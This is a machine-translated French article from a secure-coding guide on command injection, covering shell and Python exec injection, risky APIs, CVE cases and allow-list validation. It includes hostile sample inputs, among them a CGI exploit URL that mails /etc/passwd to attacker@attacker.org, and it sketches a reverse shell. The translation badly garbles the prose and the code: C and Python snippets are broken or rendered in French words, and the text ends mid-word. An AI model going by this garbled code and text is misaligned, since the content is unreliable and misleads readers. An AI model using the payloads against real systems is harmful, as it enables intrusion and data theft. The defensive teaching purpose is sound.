Injection De Commande

En 1994, l'auteur de ce cours d'instruction s'asseyait devant un ordinateur de SGI courant IRIX qui montrait simplement l'écran d'ouverture. Il a donné l'option pour imprimer de la documentation et pour indiquer l'imprimeur pour employer. L'auteur a imaginé ce qu'être l'exécution pourrait, a indiqué une corde que le didn’t se rapportent réellement à un imprimeur, et a soudainement fait noter même une fenêtre d'administrateur sur une boîte le wasn’t d'auteur non seulement censé pour avoir accès à, mais’également le wasn t dans.

Le problème était une attaque d'injection de commande, où l'utilisateur a entré qui a été censé pour être des données réellement peut être partiellement interprété comme commande d'une certaine sorte. Souvent, cette commande peut donner la personne avec le contrôle de l'accès de données à bien plus d'accès qu'a été jamais prévu.

Langues Affectées

Les problèmes d'injection de commande sont un souci lorsque des commandes et les données sont placées en ligne ensemble. Tandis que les langues peuvent se débarasser de certaines des attaques d'injection de commande les plus franches en fournissant les bonnes interfaces de programmation d'application (APIs) qui effectuent la validation appropriée d'entrée, il y a toujours la possibilité que nouvel APIs présentera de nouveaux genres d'attaques d'injection de commande.

Le Péché A expliqué

Les problèmes d'injection de commande se produisent quand untrusted des données est placé dans les données qui sont passées à une certaine sorte de compilateur ou d'interprète, où les données pourraient, si elles’s composaient d'une manière particulière, soient traitées en tant que quelque chose autre que des données.

L'exemple canonique pour ce problème a toujours été des appels d'api qui appellent directement l'interprète de commande de système sans n'importe quelle validation. Par exemple, le vieil écran d'ouverture d'IRIX (mentionné précédemment) faisait quelque chose le long des lignes de :

char buf[1024 ] ; snprintf(buf, "lpr de système - P
%s", user_input, sizeof(buf)-1) ; system(buf) ;

Dans ce cas-ci, l'utilisateur était non privilégié, puisqu'il pourrait être absolument n'importe qui errant par un poste de travail. Cependant, simplement en dactylographiant le texte : FRED ; le xterm&, une borne sauterait vers le haut, parce que ; finirait la commande originale dans la coquille de système ; et la commande de xterm créerait une nouvelle fenêtre terminale entière prête pour des commandes, avec et dire le système de courir le processus sans bloquer le processus courant. (dans la coquille de Windows, le métacaractère d'esperluète agit les mêmes comme un point-virgule sur une boîte d'UNIX.) Et, puisque le processus d'ouverture a eu des privilèges administratifs, la borne qu'il a créée aurait également des privilèges administratifs !

Il y a d'abondance des fonctions à travers beaucoup de langues qui sont susceptibles de telles attaques, comme vous’ll voyez plus tard. Mais, un doesn t d'attaque d'injection’de commande exigent une fonction qui appelle à une coquille de système. Par exemple, un attaquant pourrait pouvoir accroître un appel à un interprète de langue. C'est assez populaire dans des langages de haut niveau tels que le Perl et le python. Par exemple, considérez le code suivant de python :

call_func(user_input, system_data de def) :        exec 'special_function_%s("%s") '% (system_data, 
user_input

Dans le code précédent, le % d'opérateur de python agit tout comme * des spécificateurs de printf en C. Ils s'assortissent vers le haut des valeurs dans les parenthèses avec des valeurs de %s dans la corde. En conséquence, ce code est prévu pour appeler une fonction choisie par le système, lui passant l'argument de l'utilisateur. Par exemple, si le system_data étaient échantillon et l'user_input étaient fred, le python courrait le code :

special_function_sample("fred")

Et, ce code fonctionnerait dans la même portée que le rapport d'exec est dedans.

Les attaquants qui commandent l'user_input peuvent exécuter n'importe quel code de python qu'ils veulent avec ce processus, simplement en ajoutant une citation, suivie d'une bonne parenthèse et d'un point-virgule. Par exemple, l'attaquant a pu essayer la corde :

fred") ; copie ("foo

Ceci fera courir la fonction le code suivant :

special_function_sample("fred") ; copie ("foo")

Ceci la volonté non seulement ce que le programmeur a prévu, mais imprimera également le foo. Les attaquants peuvent littéralement faire n'importe quoi ici, y compris effacez les dossiers avec les privilèges du programme, ou même établissez les rapports de réseau. Si cette flexibilité donne des attaquants accèdent à plus de privilèges qu'ils ont autrement eu, ceci est un problème de sécurité.

Plusieurs de ces problèmes se produisent quand des constructions et les données de commande sont juxtaposées, et les attaquants peuvent employer un caractère spécial pour changer le contexte de nouveau aux constructions de commande. Dans le cas des coquilles de commande, il y a de nombreux caractères magiques qui peuvent faire ceci. Par exemple, sur les la plupart UNIX-comme des machines, si les attaquants devaient ajouter un point-virgule (qui finit un rapport), backtick (les données entre les backticks obtiennent exécutées comme code), ou une barre verticale (tout après que la barre soit traitée en tant qu'autres, processus relatif), ils pourraient courir des commandes arbitraires. Il y a d'autres caractères spéciaux qui peuvent changer le contexte des données en commande ; ce sont justes le plus évident.

Une technique commune pour atténuer des problèmes avec des commandes fonctionnantes doit employer un api pour appeler la commande directement, sans passer par une coquille. Par exemple, sur une boîte d'UNIX, là’s la famille d'execv() des fonctions, qui saute la coquille et appelle le programme directement, donnant les arguments comme cordes.

C'est une bonne chose, mais il le doesn’t résolvent toujours le problème, en particulier parce que le programme engendré lui-même pourrait mettre des données juste à côté des constructions importantes de commande. Par exemple, appeler l'execv() sur un programme de python qui passe alors la liste d'argument à un exec serait mauvais. Nous avons même vu des cas où l'execv() d’/bin/sh (la coquille de personnes de commande), qui manque totalement le point.

Péchés Relatifs

Quelques uns des péchés peuvent être regardés en tant que genres spécifiques de problèmes d'injection de commande. L'injection de SQL est clairement un genre spécifique d'attaque d'injection de commande. Des problèmes de corde de format peuvent être vus comme genre de problème d'injection de commande, aussi. C'est parce que l'attaquant prend une valeur que le programmeur s'est attendue à ce que soit des données, et alors les insertions lisent et écrivent des commandes (par exemple, le spécificateur de %n est une commande d'inscription). Ces cas particuliers sont si communs que nous’ve les ayons traités séparément.

C'est également le problème de noyau dans l'croix-emplacement scripting, où les attaquants mettent en boîte ont choisi les données qui ressemblent aux éléments particuliers de commande d'enchaînement si ces données ne sont pas correctement validées.

Repèrer le modèle de péché

Voici les éléments au modèle :

• Des commandes (ou les paramètres) et les données sont placés en ligne à côté de l'un l'autre.

• Il y a une certaine possibilité que les données pourraient obtenir traitées comme commande, souvent due aux caractères avec des significations spéciales, telles que des citations et des points-virgule.

• Le contrôle des commandes donnerait à des utilisateurs plus de privilèges qu'ils ont déjà.

Repèrer le péché pendant la revue de code

Il y a de nombreux appels d'api et constructions de langue à travers une grande variété de différents langages de programmation qui sont susceptibles de ce problème. Une bonne approche à passer en revue le code pour ce problème est à d'abord identifient chaque construction qui pourrait probablement être employée pour appeler n'importe quel genre de processeur de commande (coquilles y compris de commande, une base de données, ou l'interprète de langage de programmation elle-même). Puis, regard par le programme pour voir si un quelconque de ces constructions est employé réellement. Si elles sont, vérifiez alors pour voir si une mesure défensive appropriée est prise. Tandis que les mesures défensives peuvent changer basé sur le péché, on devrait habituellement être sceptique des approches nier-liste-basées, et la permettre-liste de faveur s'approche (voyez “la section d'étapes” de rachat qui suit).

Voici certaines des constructions plus populaires à inquiéter pour :

Langue	Construction	Commentaires
C/C++	system(), popen(), execlp(), execvp()	Posix
C/C++	La famille de ShellExecute() des fonctions ; _ wsystem()	Win32 seulement
Perl	système	Si appelé en tant qu'un argument, bidon appelez la coquille si la corde a écossez les métacaractères.
Perl	exec	Semblable au système, excepté des extrémités le processus de Perl.
Perl	backticks(`)	La volonté appellent généralement une coquille.
Perl	ouvert	Si le premier ou dernier caractère du nom de fichier est une barre verticale, alors le Perl ouvre une pipe à la place. Ceci est fait en exigeant à la coquille, et le reste du nom de fichier devient des données passées par la coquille.
Perl	Opérateur de barre verticale	Ceci agit juste comme le Posix appel de popen().
Perl	eval	Évalue l'argument de corde comme code de Perl.
Perl	Opérateur régulier de l'expression /e	Évalue une partie modèle-assortie d'une corde comme code de Perl.
Python	exec, eval	Les données obtiennent évaluées comme code.
Python	os.system, os.popen	Ces délégué aux appels fondamentaux de posix.
Python	execfile	C'est semblable à l'exec et eval, mais prend les données à la course à partir du dossier indiqué. Si l'attaquant peut influencer le contenu du dossier, le même problème se produit.
Python	entrée	L'équivalent à l'eval(raw_input()), ainsi ceci exécute réellement le texte’de l'utilisateur s comme code !
Python	compilez	L'intention du texte de compilation dans le code est en apparence que ce’s allant obtenir la course !
Java	Nom de Class.forName(String), Class.newInstance()	Le code de byte de Java peut être dynamiquement chargé et couru. Dans certains cas, le code sera sandboxed quand venir de l'untrusted l'utilisateur (en particulier en écrivant un applet).
Java	Runtime.exec()	Java en a essayé de faire la chose bloquée en ne donnant pas le service direct pour appeler une coquille. Mais les coquilles peuvent être si commodes pour certains charge que beaucoup de gens appelleront ceci avec un argument qui appelle explicitement une coquille.

Méthodes d'essai pour trouver le péché

Généralement, la chose à faire est de prendre chaque entrée, de penser à quel genre de coquille de commande elle pourrait probablement obtenir passée au loin, puis essayer de coller dans chaque métacaractère pour cette coquille, et voit si elle explose. Naturellement, vous voulez choisir des entrées d'une manière dont, si le métacaractère fonctionne, quelque chose de volonté mesurable se produisent réellement.

Par exemple, si vous voulez examiner pour voir si des données sont passées à une coquille d'UNIX, ajoutez un point-virgule, et essayez alors de s'expédier quelque chose. Mais, si les données sont intérieur placé par corde citée, vous pourriez devoir insérer une citation de fin pour sortir. Pour couvrir ceci, vous pourriez avoir un cas d'essai qui insère une citation suivie d'un point-virgule, puis une commande qui s'expédie quelque chose. Vérifiez si elle se brise ou fait d'autres mauvaises choses, aussi bien que si vous obtenez le E-mail ; votre cas d'essai ne pourrait pas exécuter l'ordre exact d'attaque, mais il pourrait être assez étroit qu'il peut immobile indiquer le problème. Tandis qu'il y a beaucoup des défenses possibles, dans la pratique, vous avez probablement gagné’le besoin de t de devenir trop de fantaisie. Vous habituellement pouvez créer un programme simple qui crée un certain nombre de permutations des divers métacaractères (les caractères de commande qui ont des significations spéciales, comme ;) et les commandes, envoient ceux à de diverses entrées, et voient si quelque chose de des résultats impropices.

Les outils des compagnies telles que la dynamique et le Watchfire de SPI automatisent ce genre de déterminer des applications enchaînement-basées.

Péchés D'Exemple

Les entrées suivantes sur le site Web commun de vulnérabilités et d'expositions (CVE) (http://cve.mitre.org) sont des exemples des attaques d'injection de commande.

CAN-2001-1187

Le manuscrit de l'interface de passerelle commune de Perl de CSVForm (cgi) ajoute des disques à un dossier de base de données séparé par virgule de la valeur (CSV). OmniHTTPd 2.07 bateaux de web server avec un manuscrit a appelé statsconfig.pl. Après que la question soit analysée, le nom de fichier (passé dans le paramètre de dossier) obtient passé au code suivant :

modify_CSV secondaire {if(open(CSV, 
$_[0])){    …  }

Là’s aucune validation d'entrée faite sur le nom de fichier, l'un ou l'autre. Ainsi vous pouvez employer le tour cruel d'ajouter une pipe à la fin du nom de fichier.

Une exploit d'exemple se composerait visiter le URL suivant :

http://www.example.com/cgi-bin/csvform.pl?file=mail%20attacker@attacker.org</etc/passwd|

Sur un système d'UNIX, ceci E-mail de volonté le dossier de mot de passe de système à un attaquant.

Notez que les %20 est un espace URL-CODÉ. Le décodage obtient fait avant que le manuscrit de cgi obtienne passé ses données.

L'exploit d'exemple nous donnons l'isn’t tout qui intéressant de nos jours, parce que le dossier de mot de passe d'UNIX donne seulement des usernames. Les attaquants décideront probablement de faire quelque chose à la place qui leur permettra de ouvrir une session, comme écrivent une clef publique à ~/.ssh/authorized_keys. Ou, les attaquants peuvent réellement employer ceci au téléchargement et exécuter n'importe quel programme qu'ils veulent en écrivant des bytes à un dossier. Puisque le Perl est évidemment déjà installé sur n'importe quelle boîte courant ceci, une chose évidente à faire serait d'écrire un manuscrit simple de Perl pour se relier de nouveau à l'attaquant, et sur le raccordement, donnent à l'attaquant une coquille de commande.

CAN-2002-0652

Le service de support de système de fichiers d'IRIX tient compte du support à distance de système de fichiers au-dessus des appels de RPC, et est généralement installé par défaut. Il s'avère que, vers le haut de jusqu'à ce que le bogue ait été trouvé en 2002, beaucoup du dossier vérifie que le serveur a dû faire quand recevant une demande à distance ont été mis en application en employant le popen() pour courir des commandes de la ligne de commande. L'information utilisée dans cet appel a été prise directement de l'utilisateur à distance, et un point-virgule bien-placé dans le paramètre de RPC permettrait à l'attaquant de courir des commandes de coquille comme racine sur la boîte.

Étapes De Rachat

La chose évidente à faire est de ne jamais appeler un interprète de commande de n'importe quelle sorte. Mais, cet isn’t toujours pratique, particulièrement en utilisant une base de données. De même, elle serait juste environ comme utile pour dire que si vous devez employer une coquille de commande, mettez’l'utilisation de t n'importe quelles données externes dans elle. Ce conseil pratique’juste de l'isn t dans la plupart des cas.

La seule réponse valable doit faire la validation. La route au rachat est tout à fait franche ici :

1. Vérifiez les données pour s'assurer qu'elle est correcte.

2. Prenez une mesure appropriée quand les données sont inadmissibles.

Validation De Données

Au niveau le plus élevé, vous avez deux choix. Vous pouvez ou valider tout vous’au sujet d'aller se transporter au loin au processus externe, ou vous pouvez juste valider les pièces dont sont entrés untrusted des sources. L'un ou l'autre un est très bien, aussi longtemps que vous’au sujet de complet à son sujet.

Il’s habituellement une bonne idée de valider des données externes redressent avant que vous l'employiez. Il y a des couples des raisons de ceci. D'abord, il s'assure que les données obtiennent examinées sur chaque circulation de données amenant à cette utilisation. En second lieu, la sémantique des données sont souvent le meilleur juste compris avant d'employer les données. Ceci vous permet d'être aussi précis comme possible avec vos contrôles de validation d'entrée. C'est également une bonne défense contre la possibilité des données étant modifiées d'un mauvais état après le contrôle.

Finalement, cependant, une stratégie de défense-dans-profondeur est la meilleure ici. Il’s également bon pour vérifier des données car il entre de sorte qu'il n'y ait aucun risque de lui étant employé sans être vérifiée ailleurs. En particulier s'il y a un bon nombre d'endroits où les données peuvent être maltraitées, il pourrait être facile de donner sur un contrôle dans quelques endroits.

Il y a trois manières en avant de déterminer la validité de données :

• L'approche de nier-liste vous recherchez des allumettes démontrant que les données sont inadmissibles, et acceptent tout autrement comme valides.

• L'approche de permettre-liste vous recherchez l'ensemble de données valides, et de rejet toute autre chose (même si là’s une certaine chance il wasn’t problématique).

• “L'approche” de citation vous transformez des données de sorte qu'il ne puisse pas y avoir quelque chose peu sûr.

Toutes ces approches ont l'inconvénient que vous pourriez oublier quelque chose de important. Dans le cas des nier-listes et de la citation, ceci a pu évidemment avoir de mauvaises implications de sécurité. En fait, il’s peu probable que vous’extrémité de ll vers le haut avec le logiciel bloqué en utilisant une approche de nier-liste si vous’au sujet de passer les données à quelques genres de systèmes (tels que des coquilles), parce que la liste de caractères qui peuvent avoir la signification spéciale est réellement tout à fait prolongée. Pour quelques systèmes, juste au sujet de n'importe quoi autre que des lettres et des chiffres peut avoir une signification spéciale. La citation est également beaucoup plus difficile que l'on a pourrait penser. Par exemple, quand on est le code d'écriture qui effectue la citation pour quelques genres de processeurs de commande, elle’s commun à la prise une corde, et la collent dans les citations. Si vous’au sujet de non soigneux, attaquants pouvez juste jeter leurs propres citations dedans là. Et, avec quelques processeurs de commande, il y a des métacaractères égaux qui ont la signification à l'intérieur d'une corde citée (ceci inclut des coquilles de commande d'UNIX).

Pour vous donner un sens de la façon dont difficile il peut être, essai de noter chaque métacaractère de coquille d'UNIX tout seul. Incluez tout qui peut être pris comme commande, au lieu des données. Combien grande est votre liste ?

Notre liste inclut chaque morceau de ponctuation excepté @, _, +, :, et la virgule. Et nous’au sujet de non sûr que ces caractères sont universellement sûrs. Il pourrait y avoir des coquilles au sujet d'où’ils pas.

Vous pouvez penser que vous avez quelques autres caractères qui peuvent ne jamais être interprétés avec la signification spéciale. Un signe moindre ? Cela pourrait être interprété en tant que signalisation du début d'une commande-ligne option s'il’s au début d'un mot. Comment le carat (^) ? l'avez-vous connu fait-vous la substitution ? Que diriez-vous de des % de signe ? Tandis qu'il pourrait souvent être inoffensif une fois interprété comme métacaractère, il est un métacaractère dans quelques circonstances, parce qu'il fait la gestion de JOBS. Le tilde (~) est semblable parce qu'il, dans quelques scénarios, augmentera au répertoire local d'un utilisateur si on ne considérera pas’lui s au début d'un mot, mais autrement un métacaractère. Ce pourrait être une fuite de l'information ou plus mauvais, en particulier si c'est un vecteur pour voir une partie du système de fichiers ce le shouldn t’de programme puisse voir. Par exemple, vous pourriez coller votre programme dans /home/blah/application, et puis rejetez de doubles points dans la corde. Mais l'utilisateur pourrait pouvoir accéder à n'importe quoi dans /home/blah juste en mettant en tête avec le ~blah.

Même les espaces peuvent être des caractères de commande, parce qu'ils sont employés pour séparer sémantiquement entre les arguments ou les commandes. Il y a beaucoup de types d'espaces avec ce comportement, y compris des étiquettes, nouvelles lignes, retours de chariot, avances d'état ordinateur, et étiquettes verticales.

Le plus, là peut être les caractères de commande comme CTRL-D et le caractère NUL qui peuvent avoir des effets indésirables.

Au total, il’s beaucoup plus facile d'employer une permettre-liste. Si vous’au sujet d'aller employer une nier-liste, vous’d soyez mieux incroyablement sûr vous’au sujet de couvrir toutes vos bases. Mais, seules les permettre-listes peuvent ne pas être assez. L'éducation est certainement nécessaire, parce que même si vous’au sujet d'employer une permettre-liste, vous pourriez permettre les espaces ou des tildes sans réaliser ce qui pourrait se produire dans votre programme d'une perspective de sécurité.

Une autre issue avec des permettre-listes est que vous pourriez avoir les utilisateurs malheureux parce que les entrées qui devraient être permises aren’t. Par exemple, vous ne pourriez pas laisser a “+” dans une adresse de E-mail, mais trouvez les personnes comme qui pour les employer pour différencier à qui elles’au sujet de donner leur adresse de E-mail. Toujours, l'approche de permettre-liste est fortement préférable les deux aux autres approches.

Considérez le cas où vous prenez une valeur de l'utilisateur qui vous’festin de ll comme nom de fichier. Laissez’la parole de s que vous faites la validation en tant que telle (cet exemple est dans le python) :

pour le char dans le nom de fichier :        si 
(pas char dans string.ascii_letters et pas char dans string.digits et 
char < > '.'):            augmenter "InputValidationError"

Ceci accorde des périodes de sorte que l'utilisateur puisse saisir des dossiers avec des prolongements, mais oublie le soulignage, qui est commun. Mais, avec une approche de nier-liste, vous ne pourriez pas avoir pensé rejetez l'estafilade, qui serait mauvaise ; un attaquant a pu l'employer plus les points pour accéder à des dossiers ailleurs sur le filesystem, au delà de l'annuaire courant. Avec une approche de citation, vous auriez dû écrire une routine beaucoup plus complexe d'analyse.

Il’s commun pour employer des expressions régulières pour exécuter ce genre d'essai. Les expressions régulières sont faciles à devenir erronées, cependant, particulièrement quand elles deviennent complexes. Si vous voulez aux constructions nichées par poignée et à telles, oubliez elle.

Généralement, d'une vue de sécurité, il’s mieux à être sûr que désolé. Employer des expressions régulières peut mener aux pratiques faciles plutôt que sûres, en particulier quand les contrôles les plus précis exigeraient une vérification sémantique plus complexe qu'une allumette simple de modèle.

Quand un contrôle échoue

Il y a trois stratégies générales à traiter un échec. Elles’au sujet du mutuellement exclusif non égal. Il’s good à toujours font au moins les deux premiers :

• Signalez une erreur (naturellement, ordures pour courir la commande réelle). Faites attention comment vous rapportez l'erreur, cependant. Si vous copie juste que les mauvaises données soutiennent, cela pourrait devenir la base pour une attaque scripting d'croix-emplacement. Vous mettez également’t voulez fournir à l'attaquant trop d'information (en particulier si le contrôle emploie des données d'exécution de configuration), tellement parfois il’s mieux dire simplement “le caractère inadmissible” ou une autre réponse vague.

• Notez l'erreur, y compris toutes les données appropriées. Faites attention que le doesn de processus de notation’t lui-même deviennent un point d'attaque ; quelques systèmes de notation acceptent des caractères de formatage, et l'essai de noter naïvement quelques données (telles que des retours de chariot et des linefeeds) pourrait finir vers le haut de corrompre la notation.

• Modifiez les données pour être valide, en le remplaçant avec des valeurs par défaut ou en le transformant.

Nous mettons’t recommandons généralement la troisième option. Non seulement pouvez vous faire une erreur, mais également quand vous mettez’t faites une erreur, mais l'utilisateur, la sémantique peut être inattendu. Elle’s plus facile à échouer simplement, et tellement sans risque.

Mesures Défensives Supplémentaires

Si vous vous avérez justement employer le Perl, la langue a des équipements pour vous aider à détecter ce genre d'erreur au temps d'exécution. Elle’s a appelé le mode de traces. L'idée fondamentale est que le Perl a gagné’t vous a laissé envoyer unsanitized des données à une des mauvaises fonctions ci-dessus. Mais, les contrôles fonctionnent seulement en mode de traces, ainsi vous n'obtenez aucun avantage si vous mettez’t le courez. Plus, vous pouvez accidentellement des données d'un-traces sans vraiment avoir validé n'importe quoi. Il y a d'autres limitations mineures, aussi, ainsi de lui’s good pour ne pas compter seulement sur ce mécanisme. Néanmoins, il’s toujours un grand outil d'essai, et habituellement intéressant s'allumer en tant qu'une de vos défenses.

Pour les appels communs d'api qui appellent des processeurs de commande, vous pourriez vouloir leur écrire votre propre emballage api qui permettre-liste filtrant, et jetez une exception si l'entrée est mauvaise. Ce shouldn’t soit la seule validation d'entrée que vous parce que, souvent, elle’s mieux pour exécuter une santé d'esprit plus détaillée vérifie des valeurs de données. Mais, lui’s une bonne première ligne de la défense, et lui’s facile à imposer. Vous pouvez ou marque les emballages remplacer “les mauvaises” fonctions, ou vous pouvez utiliser un outil simple de recherche en code apurant pour trouver tous les exemples que vous avez manqué et faites rapidement le bon remplacement.

Conclusions

• Effectuez la validation d'entrée sur toute l'entrée avant de la passer à un processeur de commande.

• Manipulez l'échec solidement si un contrôle de validation d'entrée échoue.

• Ne passez pas pas unvalidated l'entrée à aucun processeur de commande, même si l'intention est que l'entrée sera juste des données.

• N'employez pas l'approche de nier-liste, à moins que vous soyez de 100 pour cent de sûr vous soyez comptabilité pour toutes les possibilités.

• Considérez éviter des expressions régulières pour la validation d'entrée ; au lieu de cela, écrivez les validators simples et clairs par han

Déni : Notre site Web n'est pas responsable de l'information contenue par cet article. Cet article reflète nullement les vues, les avis, les pensées ou la croyance du personnel d'annuaire d'articles.

Notification de traduction : L'article "injection de commande" a été traduit en utilisant un service de traduction automatisé. Nous faisons des excuses sincèrement pour toutes les erreurs de traduction qui se sont produites. Merci de l'arrangement.